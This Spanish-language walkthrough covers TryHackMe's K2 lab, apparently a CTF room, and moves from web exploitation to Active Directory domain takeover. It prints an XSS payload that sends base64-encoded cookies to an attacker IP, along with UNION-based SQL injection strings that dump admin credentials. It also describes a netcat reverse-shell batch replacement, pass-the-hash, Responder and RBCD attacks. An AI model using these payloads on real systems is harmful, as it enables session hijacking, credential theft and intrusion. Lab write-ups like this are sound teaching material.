> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/writes-ups/tryhackme/hard/k2.md).

# K2

## Información de la máquina

<figure><img src="/files/9U2SSBBmPrhd8WqzVgz5" alt=""><figcaption></figcaption></figure>

En esta ocasión exploramos la **sala K2 de TryHackMe**, una room categorizada como de dificultad **difícil**, compuesta por **tres máquinas**: una máquina **Linux** y dos correspondientes a un entorno de **Active Directory (AD)**. Cada máquina representa un campamento en una expedición hacia la cima: **Base Camp**, **Middle Camp**, y **Summit Camp**. A través de este write-up, documentamos todas las fases clásicas de un pentest: reconocimiento, explotación, escalada de privilegios, post-explotación y movimientos laterales, utilizando una combinación de técnicas web, enumeración en entornos Windows y explotación de vulnerabilidades en aplicaciones personalizadas y servicios comunes.

Cada máquina ofrece desafíos variados: desde la explotación de vulnerabilidades web como **XSS y SQLi**, hasta el abuso de **servicios de dominio Active Directory** como **Kerberos** y **WinRM**, sin dejar de lado la importancia del reconocimiento, la creación de diccionarios personalizados y el aprovechamiento de malas prácticas administrativas.

***

## 1. Base Camp

### Reconocimiento Base Camp

Empezaremos haciendo un primer reconocimiento para ver los puertos abiertos en el sistema.

<figure><img src="/files/lOq2VPqVB9h5hs55mHCf" alt=""><figcaption></figcaption></figure>

**1. `-p-` → Escaneo de todos los puertos (1-65535)**

Por defecto, `nmap` solo escanea los **1000 puertos más comunes**.\
Con `-p-`, forzamos a que escanee **los 65,535 puertos** de la máquina objetivo, lo que puede ser útil para encontrar servicios que corren en puertos poco convencionales.

**2. `--open` → Filtrar solo los puertos abiertos**

Cuando escaneamos un sistema, muchos puertos pueden estar cerrados o filtrados por un firewall.\
Este parámetro hace que `nmap` **solo muestre los puertos abiertos**, reduciendo el ruido y facilitando el análisis.

**3. `-sS` → Stealth Scan (Escaneo Sigiloso con SYN)**

Es conocido como **"TCP SYN Scan"**, y funciona de la siguiente manera:

* `nmap` envía un paquete **SYN** (solicitud de conexión).
* &#x20;Si el puerto está abierto, el servidor responde con **SYN-ACK**.
* En lugar de completar la conexión con un **ACK**, `nmap` responde con un **RST (Reset)**, interrumpiendo la comunicación.

**4. `--min-rate 5000` → Velocidad mínima de paquetes (5000 por segundo)**

Por defecto, `nmap` ajusta dinámicamente la velocidad de los paquetes según la respuesta de la red.\
Con `--min-rate 5000`, obligamos a `nmap` a **no enviar menos de 5000 paquetes por segundo**, acelerando el escaneo.

**5. `-n` → Deshabilitar resolución DNS**

Normalmente, `nmap` intenta resolver el nombre de dominio de las IPs escaneadas (DNS lookup).\
Con `-n`, evitamos esta resolución de nombres, lo que **acelera el escaneo** y evita que los servidores DNS registren nuestra actividad.

**6. `-Pn` → Omitir detección de host (Host Discovery Off)**

Por defecto, `nmap` envía paquetes ICMP (ping) para ver si un host está activo antes de escanearlo.\
Si un firewall bloquea los pings, `nmap` puede marcarlo como "host down" y no escanearlo.

**7. `-oG`** **→ Exportar el contenido en formato grepeable**

Todo el resultado del escaneo lo exportaremos en un archivo llamado **`allPorts` .**

El escaneo revela dos puertos abiertos

<figure><img src="/files/HIpqFhYmBpm76cABvhFr" alt=""><figcaption></figcaption></figure>

**1. `-p22,80` → Escaneo de puertos específicos**

Con `-p22,80`, le indicamos que **solo** escanee los puertos que queremos

**2. `-sCV` → Escaneo de versiones y scripts básicos**

Este parámetro en realidad es **dos combinaciones en una**:

* **`-sC`** → Activa los **NSE scripts por defecto** en `nmap` (similar a usar `--script=default`).\
  Ejecuta scripts básicos para enumerar información del servicio detectado, como banners, versiones, etc.
* **`-sV`** → Realiza **fingerprinting de versiones**, intentando identificar la versión exacta del software en cada puerto abierto.

**3. `-oN` → Guardar el resultado en formato Normal**

Por defecto, `nmap` muestra los resultados en pantalla, pero con **`-oN targeted`**, guardamos el resultado en un archivo en **formato legible para humanos**.

Al acceder a la web, vemos que se nos redirige a `k2.thm`, por lo que añadimos el dominio al /etc/hosts y ya obtenemos acceso a la página.

<figure><img src="/files/ORFgPjZySC9G7nIfAlOB" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/EncZBV6Ei2UJRbQSZ1e3" alt=""><figcaption></figcaption></figure>

### Fuzzing vhost

Tras la fase de enumeración web, se realiza un fuzzing de subdominios utilizando **ffuf**, identificando dos hosts virtuales configurados en el servidor: `admin.k2.thm` e `it.k2.thm`.

<figure><img src="/files/jNo6u8CiAMf6DUBBcvFJ" alt=""><figcaption></figcaption></figure>

Para poder resolver estos subdominios desde la máquina atacante, se añaden al archivo `/etc/hosts` asociándolos a la IP correspondiente de la víctima

<figure><img src="/files/uYVTxfyoR7KUrsBMQl8Q" alt=""><figcaption></figcaption></figure>

Al visitar `admin.k2.thm`, se presenta un formulario de login que no es accesible sin credenciales válidas.

<figure><img src="/files/hq6uFPsRrRbll1th12Rs" alt=""><figcaption></figcaption></figure>

En cambio, en `it.k2.thm` se ofrece una opción de registro de usuarios.

<figure><img src="/files/NNo0iOhT0MRuhWshekQK" alt=""><figcaption></figcaption></figure>

Tras completar el registro, se obtiene acceso a la aplicación.

<figure><img src="/files/fG93UE3jIamgUZFsv7J5" alt=""><figcaption></figcaption></figure>

La aplicación permite la creación de tickets mediante un formulario sencillo. Esto sugiere que dichos tickets podrían ser revisados por un administrador

<figure><img src="/files/AVdZeCOoYZ7FSVbZhJHU" alt=""><figcaption></figcaption></figure>

### XSS cookie hijacking WAF bypass

Se realizaron varios intentos de inyección XSS en el formulario de creación de tickets, pero fueron bloqueados por el **WAF (Web Application Firewall)**. El WAF es un sistema de defensa que protege las aplicaciones web frente a ataques como XSS, SQL Injection, o CSRF, mediante el análisis y filtrado del tráfico HTTP.

Investigando alternativas, se encontró un payload que consigue evadir la protección del WAF:

```html
<script>var i=new Image(); i.src="http://10.10.105.211:8080/?cookie=" + btoa(document["cookie"])</script>
```

Este script crea un objeto de tipo **Image** que no es bloqueado por el WAF. La propiedad `src` envía una petición al servidor controlado por el atacante, incluyendo en la URL la cookie actual codificada en base64 mediante `btoa`

<figure><img src="/files/HJSembOJgO04QBkONXUS" alt=""><figcaption></figcaption></figure>

Iniciando un servidor HTTP en la máquina atacante con y pudemos capturar la cookie de sesión del administrador cuando visualiza el ticket malicioso.

<figure><img src="/files/68But6H70ZWfBgBXCPXd" alt=""><figcaption></figcaption></figure>

Posteriormente, se decodifica la cookie obtenida en base64 para obtenerla en texto plano y reutilizarla en el navegador.

<figure><img src="/files/uEHUDrdTTMfmYtUgRlTR" alt=""><figcaption></figcaption></figure>

Para utilizar la cookie robada, se crea una cookie de sesión en el navegador(no existente) cuando se accede a `admin.k2.thm` por la que se ha capturado y descifrado previamente.

<figure><img src="/files/z6RQynXvsKmOnCpGZrWT" alt=""><figcaption></figcaption></figure>

Al recargar la página, se accede directamente al panel de administración sin necesidad de pasar por el formulario de login. El panel muestra una tabla con tres registros, lo que indica que la información mostrada probablemente proviene de una base de datos.

<figure><img src="/files/Pa2ZbRCCWA36BiZ4lku9" alt=""><figcaption></figcaption></figure>

### SQLi

Dentro del panel de administración, se encuentra un campo de búsqueda que permite filtrar tickets por su título. Al introducir el nombre exacto de un ticket, la tabla solo muestra el registro correspondiente, lo que evidencia que se ejecuta una consulta SQL basada en el input proporcionado por el usuario.

```
i got it
```

<figure><img src="/files/smq9rjEFQwdeaxpDaUu1" alt=""><figcaption></figcaption></figure>

Para comprobar la presencia de una inyección SQL, se introduce el siguiente payload:

```sql
i got it'OR '1'='1'-- -
```

Esta inyección modifica la consulta original añadiendo una condición que siempre será verdadera (`'1'='1'`), y el doble guion seguido de un espacio (`-- -`) comenta el resto de la consulta. Como resultado, se muestran todos los registros existentes, confirmando la existencia de una vulnerabilidad de tipo SQLi.

<figure><img src="/files/nnV4pMviAbahOGrICHOi" alt=""><figcaption></figcaption></figure>

Para validar el número de columnas y la posibilidad de realizar una inyección con **UNION**, se utiliza el siguiente payload:

```sql
i got it' UNION SELECT 1,2,3 -- -
```

Esto permite verificar que la consulta original tiene tres columnas, ya que no se genera error y se muestran los valores `1`, `2`, `3` en la tabla.

<figure><img src="/files/9TEjJYqhxxv55X1FVZVL" alt=""><figcaption></figcaption></figure>

Una vez confirmado el número de columnas, se explora el esquema de la base de datos con la siguiente inyección:

```
i got it' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema=database() -- -
```

Esto devuelve el nombre de todas las tablas presentes en la base de datos actual, resultando en tres tablas:

* `admin_auth`
* `auth_users`
* `tickets`

<figure><img src="/files/hXpGYTaeObaOu52nueOk" alt=""><figcaption></figcaption></figure>

Para enumerar las columnas de la tabla `admin_auth`, se utiliza:

```sql
i got it' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='admin_auth' -- -
```

Esto devuelve el nombre de las columnas contenidas en dicha tabla.

<figure><img src="/files/34uT0z0ykzRqnsK4xxKn" alt=""><figcaption></figcaption></figure>

Finalmente, se extraen los datos almacenados en la tabla con:

```sql
i got it' UNION SELECT email, admin_password, admin_username FROM admin_auth -- -
```

Obteniendo así los correos electrónicos, contraseñas y nombres de usuario administradores registrados en la aplicación.

<figure><img src="/files/wIBbTBNrSDDZinZqsnwh" alt=""><figcaption></figcaption></figure>

Los datos obtenidos se guardan en un archivo local para analizarlos y separarlos en credenciales y usuarios

<figure><img src="/files/H7YmOtyasXjWOoSOuQAM" alt=""><figcaption></figcaption></figure>

### Auth SSH

Utilizando la herramienta **hydra**, se realiza un ataque de fuerza bruta contra el servicio SSH de la máquina. A partir de las credenciales extraídas anteriormente, se consigue acceso como el usuario **james**.

<figure><img src="/files/otlOgEcRb5eOSABZOblk" alt=""><figcaption></figcaption></figure>

Se establece una sesión SSH exitosa, obteniendo así acceso al sistema como el usuario **james**.

<figure><img src="/files/4woXq4caMw1ypJ9dVFu4" alt=""><figcaption></figcaption></figure>

### Privilege escalation

Al enumerar el sistema, se identifica la existencia de otro usuario llamado **rose**. También se verifica que el usuario **james** pertenece al grupo **adm**, lo que permite leer ciertos archivos de logs ubicados en `/var/log/`.

<figure><img src="/files/Yosm8GzHUBCPouEmNU0p" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/oYfh90D5ttwoAb4lO8AY" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/jRpEUKrmQs89epan2ST9" alt=""><figcaption></figcaption></figure>

Revisando el archivo `/var/log/auth.log`, se encuentran credenciales en texto plano que han sido registradas por error en un login.

<figure><img src="/files/olRxptDCCJjBTNekmbhQ" alt=""><figcaption></figcaption></figure>

Aunque las credenciales obtenidas no permiten iniciar sesión directamente como **rose**, sí funcionan para escalar privilegios a **root**, consiguiendo el control total del sistema.

<figure><img src="/files/qZShv0qnpL2uobvj4dSu" alt=""><figcaption></figcaption></figure>

### Post-Explotación

Consultando el archivo `/etc/passwd`, se obtienen los nombres completos de los usuarios presentes en el sistema:

* **Rose Bud**
* **James Bold**

<figure><img src="/files/vCQgotsbcoysGUh6bZ9a" alt=""><figcaption></figcaption></figure>

Además, al revisar el archivo `.bash_history` del usuario **rose**, se encuentra su contraseña en texto claro, evidenciando una mala práctica de seguridad

<figure><img src="/files/V1ApTZAV2NVeHiUC77t1" alt=""><figcaption></figcaption></figure>

***

## 2. Middle Camp

### Reconocimiento Middle Camp

Empezaremos haciendo un primer reconocimiento para ver los puertos abiertos en el sistema.

<figure><img src="/files/gBRNCjHR88B6p88GUgk4" alt=""><figcaption></figcaption></figure>

**1. `-p-` → Escaneo de todos los puertos (1-65535)**

Por defecto, `nmap` solo escanea los **1000 puertos más comunes**.\
Con `-p-`, forzamos a que escanee **los 65,535 puertos** de la máquina objetivo, lo que puede ser útil para encontrar servicios que corren en puertos poco convencionales.

**2. `--open` → Filtrar solo los puertos abiertos**

Cuando escaneamos un sistema, muchos puertos pueden estar cerrados o filtrados por un firewall.\
Este parámetro hace que `nmap` **solo muestre los puertos abiertos**, reduciendo el ruido y facilitando el análisis.

**3. `-sS` → Stealth Scan (Escaneo Sigiloso con SYN)**

Es conocido como **"TCP SYN Scan"**, y funciona de la siguiente manera:

* `nmap` envía un paquete **SYN** (solicitud de conexión).
* &#x20;Si el puerto está abierto, el servidor responde con **SYN-ACK**.
* En lugar de completar la conexión con un **ACK**, `nmap` responde con un **RST (Reset)**, interrumpiendo la comunicación.

**4. `--min-rate 5000` → Velocidad mínima de paquetes (5000 por segundo)**

Por defecto, `nmap` ajusta dinámicamente la velocidad de los paquetes según la respuesta de la red.\
Con `--min-rate 5000`, obligamos a `nmap` a **no enviar menos de 5000 paquetes por segundo**, acelerando el escaneo.

**5. `-n` → Deshabilitar resolución DNS**

Normalmente, `nmap` intenta resolver el nombre de dominio de las IPs escaneadas (DNS lookup).\
Con `-n`, evitamos esta resolución de nombres, lo que **acelera el escaneo** y evita que los servidores DNS registren nuestra actividad.

**6. `-Pn` → Omitir detección de host (Host Discovery Off)**

Por defecto, `nmap` envía paquetes ICMP (ping) para ver si un host está activo antes de escanearlo.\
Si un firewall bloquea los pings, `nmap` puede marcarlo como "host down" y no escanearlo.

**7. `-oG`** **→ Exportar el contenido en formato grepeable**

Todo el resultado del escaneo lo exportaremos en un archivo llamado **`allPorts` .**

<figure><img src="/files/J0ASfbIag1nwxftsz1H8" alt=""><figcaption></figcaption></figure>

**1. `-p<puertos>` → Escaneo de puertos específicos**

Con `-p<puertos>`, le indicamos que **solo** escanee los puertos que queremos

**2. `-sCV` → Escaneo de versiones y scripts básicos**

Este parámetro en realidad es **dos combinaciones en una**:

* **`-sC`** → Activa los **NSE scripts por defecto** en `nmap` (similar a usar `--script=default`).\
  Ejecuta scripts básicos para enumerar información del servicio detectado, como banners, versiones, etc.
* **`-sV`** → Realiza **fingerprinting de versiones**, intentando identificar la versión exacta del software en cada puerto abierto.

**3. `-oN` → Guardar el resultado en formato Normal**

Por defecto, `nmap` muestra los resultados en pantalla, pero con **`-oN targeted`**, guardamos el resultado en un archivo en **formato legible para humanos**.

<figure><img src="/files/0EViwis5zAkJCEfywc5L" alt=""><figcaption></figcaption></figure>

### Discover Usernames

A partir de la máquina anterior ya conocíamos los nombres completos de dos usuarios: **Rose Bud** y **James Bold**.

<figure><img src="/files/TzsJeNxP6Rk9OKs01PgP" alt=""><figcaption></figcaption></figure>

Para generar posibles combinaciones de nombres de usuario a partir de sus nombres completos, se utiliza la herramienta **username-anarchy**, que automatiza la creación de patrones comunes (como iniciales, nombres completos, combinaciones con puntos, etc.).

{% embed url="<https://github.com/urbanadventurer/username-anarchy>" %}

Todos los nombres generados se almacenan en un archivo de texto para facilitar pruebas posteriores.

<figure><img src="/files/hMgXL9rVq2K532yIAOPL" alt=""><figcaption></figcaption></figure>

A continuación, se emplea la herramienta **kerbrute** para validar qué nombres de usuario existen realmente en el dominio mediante el método de enumeración por Kerberos.

{% embed url="<https://github.com/ropnop/kerbrute>" %}

El resultado confirma la existencia de dos usuarios válidos:

* `r.bud`
* `j.bold`

<figure><img src="/files/WhHSeStB0dwNWSfB96WK" alt=""><figcaption></figcaption></figure>

### Auth r.bud

Se prueban las credenciales descubiertas anteriormente junto con las contraseñas de la máquina previa. De esta forma, se consigue acceso válido para el usuario **r.bud**, utilizando la contraseña previamente obtenida de **rose**.

Al verificar los servicios disponibles, se observa que el puerto **WinRM** está abierto y se permite el acceso mediante estas credenciales, confirmado por el mensaje típico de éxito `(Pwned!)`.

<figure><img src="/files/R1GIG5hjH7WJMnNCVipT" alt=""><figcaption></figcaption></figure>

Utilizando la herramienta **Evil-WinRM**, que permite la conexión remota a través de WinRM en sistemas Windows, se establece acceso interactivo como **r.bud**.

<figure><img src="/files/yPiNg04is5aMPE8X68Bl" alt=""><figcaption></figcaption></figure>

### Discover password j.bold

Se encuentran dos archivos `.txt` que contienen pistas o patrones para deducir la contraseña del usuario **j.bold**. Se indica que la contraseña se construye a partir de ciertas combinaciones definidas en dichos archivos.

<figure><img src="/files/5WQmbUrrzSUPd4vkFRBb" alt=""><figcaption></figcaption></figure>

Para automatizar la generación de todas las combinaciones posibles basadas en estos patrones, se crea un script en Python que produce un archivo `passwords.txt` con todas las variantes.

<figure><img src="/files/yu746Ai8UK7bXQcdjjQj" alt=""><figcaption></figcaption></figure>

Posteriormente, se realiza un ataque de fuerza bruta dirigido con **kerbrute**, especificando el usuario `j.bold` y probando todas las contraseñas generadas.

<figure><img src="/files/kqB5d2cMNkKg5HXE6PS8" alt=""><figcaption></figcaption></figure>

Tras un tiempo de ejecución, se consigue obtener la contraseña correcta:

```
j.bold : #8rockyou
```

### Bloodhound

Una vez se dispone de credenciales válidas, se procede a enumerar el dominio Active Directory utilizando la herramienta **BloodHound**, junto con **nxc** (una herramienta para recolectar datos de un dominio), ejecutando el parámetro `--bloodhound` para generar los archivos necesarios que luego se analizarán en la interfaz de BloodHound.

<figure><img src="/files/sbEJElBRwQ7LkT63hlfn" alt=""><figcaption></figcaption></figure>

Siguiendo la documentación oficial, se instala y configura BloodHound para procesar la información obtenida.

{% embed url="<https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart#bloodhound-community-edition-quickstart>" %}

Durante el análisis, se detecta que el usuario **j.bold** es miembro de un grupo que tiene el permiso **GenericAll** sobre el usuario **j.smith**.

El permiso **GenericAll** en Active Directory otorga **control total sobre un objeto**, lo que permite modificar propiedades como la contraseña o la pertenencia a grupos.

<figure><img src="/files/JcCOwXL5iotJhThAHVfP" alt=""><figcaption></figcaption></figure>

### Force Change Password

El permiso **GenericAll** sobre un usuario en Active Directory permite, entre otras acciones, modificar su contraseña sin necesidad de conocer la anterior. Esto se debe a que el propietario de este permiso posee control total sobre ese objeto AD.

Utilizando esta ventaja, se cambia la contraseña del usuario **j.smith** por una nueva definida por nosotros.

<figure><img src="/files/up1jzLBHoHLNCyvmMDYt" alt=""><figcaption></figcaption></figure>

Tras modificarla, se intenta iniciar sesión mediante **WinRM** con la nueva contraseña y se confirma el acceso exitoso, visualizando el mensaje `(Pwned!)`.

<figure><img src="/files/eW3RaCecKNFJevpntGwx" alt=""><figcaption></figcaption></figure>

Ahora se dispone de acceso como **j.smith**, lo que permite obtener la primera flag del sistema.

<figure><img src="/files/g7m6T4Q9BX1eBECiAj75" alt=""><figcaption></figcaption></figure>

### Auth Administrator -> Group Backup Operator&#x20;

Para la escalada final de privilegios, se realiza una enumeración de los grupos a los que pertenece **j.smith**, y se descubre que es miembro del grupo **Backup Operators**.

En entornos Windows, los miembros de este grupo tienen la capacidad de **realizar backups de cualquier archivo, incluso aquellos protegidos o restringidos como el registro del sistema o la SAM**, sin necesidad de ser administradores.

<figure><img src="/files/maDA8TG0rQkFuNyAkgt0" alt=""><figcaption></figcaption></figure>

Aprovechando este privilegio, se extraen los archivos del registro necesarios:

* **SAM**: contiene los hashes de las contraseñas de los usuarios locales.
* **SYSTEM**: contiene las claves de cifrado para descifrar esos hashes.

<figure><img src="/files/ldlnH5WXF7XcHTIo0cq2" alt=""><figcaption></figcaption></figure>

Estos archivos se exportan en formato `.reg`, se transfieren a la máquina Kali y se procesan con la herramienta **impacket-secretsdump**, que permite extraer los hashes NTLM de las contraseñas.

<figure><img src="/files/BQbeeL6yDVfsVfvtybEW" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/CGMo5soyU3EBZegLz7Y8" alt=""><figcaption></figcaption></figure>

Con el hash NTLM del usuario **Administrator**, se ejecuta un **Pass-The-Hash (PTH)** usando **Evil-WinRM**, lo que permite autenticarse como administrador sin necesidad de conocer la contraseña en texto claro.

Finalmente, se obtiene acceso como **Administrator**, alcanzando el máximo privilegio en la máquina.

<figure><img src="/files/L23doGhKzsGqF4UD6oh4" alt=""><figcaption></figcaption></figure>

***

## 3. The Summit

### Reconocimiento The Summit

<figure><img src="/files/GViCvy9VR2xE05PWHsCM" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Vsf9YT3hQCooj3iXZvFp" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8Vi4s7dnxzWIX5igeKXv" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/M9yZKtwWH7PhaMVNT7YI" alt=""><figcaption></figcaption></figure>

### Shell j.smith

Probamos el hash NTLM del usuario administrador que conseguimos en una máquina anterior, pero en lugar de usarlo con ese mismo usuario, lo utilizamos con el usuario **j.smith**.\
Para verificar si las credenciales son válidas, usamos la herramienta **NetExec (nxc)** contra el servicio **WinRM (Windows Remote Management)**. Esto permite comprobar autenticaciones remotas en Windows.\
Al hacerlo, el resultado muestra el mensaje **(Pwned!)**, lo que indica que la autenticación fue exitosa.

<figure><img src="/files/54YnEtYSu91wQoSWjRad" alt=""><figcaption></figcaption></figure>

Con las credenciales válidas de j.smith, accedemos al sistema utilizando **evil-winrm**, una herramienta común para obtener una shell remota en sistemas Windows a través de WinRM.\
Al enumerar los usuarios en el sistema, descubrimos la presencia de **o.armstrong** y **Administrator**, que pueden ser relevantes para próximos movimientos

<figure><img src="/files/sZvH5kF4E8HyT1f2pYyq" alt=""><figcaption></figcaption></figure>

### Shell o.armstrong

Mientras exploramos el sistema, encontramos en el disco C: una carpeta llamada **scripts**, que contiene el archivo **backup.bat**, un script por lotes de Windows.

<figure><img src="/files/OIBxOzxbn3kstu685myL" alt=""><figcaption></figcaption></figure>

Aunque no tenemos permisos para modificar directamente **backup.bat**, sí contamos con permisos de escritura sobre la carpeta **scripts**. Esto nos permite eliminar el archivo actual y crear uno nuevo en su lugar.

<figure><img src="/files/S7MuEgxCuUsIDUVMeYSE" alt=""><figcaption></figcaption></figure>

Transferimos **nc.exe** (Netcat) a la carpeta **C:\Temp**.\
Le damos permisos de ejecución al archivo y eliminamos el **backup.bat** original en la carpeta **scripts**.\
Creamos un nuevo **backup.bat** que ejecuta Netcat para abrir una **reverse shell**, es decir, una conexión que envía una shell del sistema al atacante que escucha en su máquina.

<figure><img src="/files/zvWAUVQRDmUcSIo6BFwp" alt=""><figcaption></figcaption></figure>

En nuestra máquina atacante, nos ponemos en escucha usando **Netcat** con **rlwrap**, que mejora la experiencia de la terminal.\
Cuando el backup.bat se ejecuta en el sistema víctima, se establece la reverse shell y obtenemos acceso como el usuario **o.armstrong**.

<figure><img src="/files/kIV0HtBuGznJyr1Tcxbb" alt=""><figcaption></figcaption></figure>

Ya con la shell como o.armstrong, navegamos por el sistema y localizamos la primera **flag.**

<figure><img src="/files/bhPeVZInImpHAlB02EP7" alt=""><figcaption></figcaption></figure>

### Responder -> Hash NTLM

Ahora vamos a usar la herramienta **Responder**, que sirve para realizar ataques de **envenenamiento de red (NBNS/LLMNR)** en entornos Windows.\
Cuando un usuario intenta acceder a un recurso inexistente, Responder intercepta esa petición y responde haciéndose pasar por el servidor solicitado, logrando que la víctima le envíe su hash NTLM.

<figure><img src="/files/s8oIZwqjNyU605ygeEAm" alt=""><figcaption></figcaption></figure>

Para forzar esta interacción, en la shell víctima solicitamos un recurso que no existe, por ejemplo:\
`\\10.21.221.129\test`\
Responder captura la petición y nos devuelve el **hash NTLM** del usuario que la generó.

<figure><img src="/files/8iK6n1YrrxZOSveFi1NA" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a9c5Likls8z59rhRFmrx" alt=""><figcaption></figcaption></figure>

Con el hash capturado, usamos la herramienta **John the Ripper** con un diccionario para intentar romper el hash.\
Finalmente, logramos obtener la **contraseña en texto plano** del usuario.

<figure><img src="/files/i32NLNFB2O62N1aqaUXb" alt=""><figcaption></figcaption></figure>

Probamos la contraseña descubierta junto al usuario en el servicio **WinRM** usando nxc, y confirmamos que funciona al ver el mensaje **Pwned!**, lo que nos da acceso al sistema.

<figure><img src="/files/aNi3LUTlNh5iT3Li3QPB" alt=""><figcaption></figcaption></figure>

### BloodHound

Usamos las credenciales actuales para recolectar información con **BloodHound**, una herramienta que mapea relaciones y permisos en entornos Active Directory para identificar posibles rutas de escalada de privilegios.\
La recolección se realiza con **NetExec (nxc)** igual que en otras máquinas, y una vez que tenemos los datos, los cargamos en la interfaz de BloodHound.

Al analizar los datos en BloodHound, descubrimos que **o.armstrong** pertenece a un grupo con el permiso **GenericWrite** sobre el **Controlador de Dominio (Domain Controller)**.\
Este permiso permite modificar ciertos atributos de un objeto en Active Directory, lo que puede facilitar un ataque conocido como **RBCD (Resource-Based Constrained Delegation)**.

<figure><img src="/files/IBIpb1LivaZ3BU0trwOD" alt=""><figcaption></figcaption></figure>

### RBCD -> Shell Administrator

BloodHound nos sugiere un camino de ataque: primero creamos un nuevo objeto tipo **computer** en el dominio. Esto lo hacemos **Impacket**, que permiten agregar objetos al dominio si se tiene el permiso necesario.

<figure><img src="/files/m8j6YtuoCSekajiH4oap" alt=""><figcaption></figcaption></figure>

Con la herramienta **impacket-addcomputer** creamos el nuevo equipo. Luego, usamos **impacket-rbcd** para asignar permisos al nuevo objeto que permitan la **impersonación de usuarios** a través de RBCD. Esto implica modificar el atributo **msDS-AllowedToActOnBehalfOfOtherIdentity**.

<figure><img src="/files/BcgiOALfVLJoiz1iMrbC" alt=""><figcaption></figcaption></figure>

Usamos la herramienta **impacket-getST** para generar un ticket TGS en el que nos hacemos pasar por el **usuario Administrator**. El resultado es un archivo **.ccache**, que contiene el ticket Kerberos.

<figure><img src="/files/2kBv84yKrIyW0te2vkTO" alt=""><figcaption></figcaption></figure>

Para usar el ticket Kerberos, exportamos la variable de entorno

<figure><img src="/files/kDg7yT6GNgre4ldVfZIR" alt=""><figcaption></figcaption></figure>

Finalmente, ejecutamos **impacket**-**wmiexec** de Impacket, que aprovecha el ticket Kerberos para autenticarse directamente como **Administrator** en el Domain Controller, otorgándonos una shell con privilegios de administrador.

<figure><img src="/files/aOzs2DGS32uV5inp5GHQ" alt=""><figcaption></figcaption></figure>

Con acceso como **Administrator**, buscamos y encontramos la **flag final de la máquina**.

<figure><img src="/files/BfNaRNlm0IintH1NQOcv" alt=""><figcaption></figcaption></figure>

***

## Conclusión

La sala **K2** de TryHackMe ofrece una experiencia integral que combina la explotación de entornos **Linux** con técnicas enfocadas en **Active Directory**, simulando un entorno realista de infraestructura empresarial comprometida por múltiples vectores de ataque. Durante el recorrido:

* Explotamos vulnerabilidades en aplicaciones web, como **XSS con bypass de WAF** y **inyección SQL**.
* Capturamos credenciales tanto en bases de datos como en archivos de logs y bash history.
* Abusamos de servicios como **Kerberos** para validar usuarios y realizar ataques de fuerza bruta controlados.
* Aprovechamos herramientas como **BloodHound** para mapear el entorno de dominio y trazar rutas de escalada.
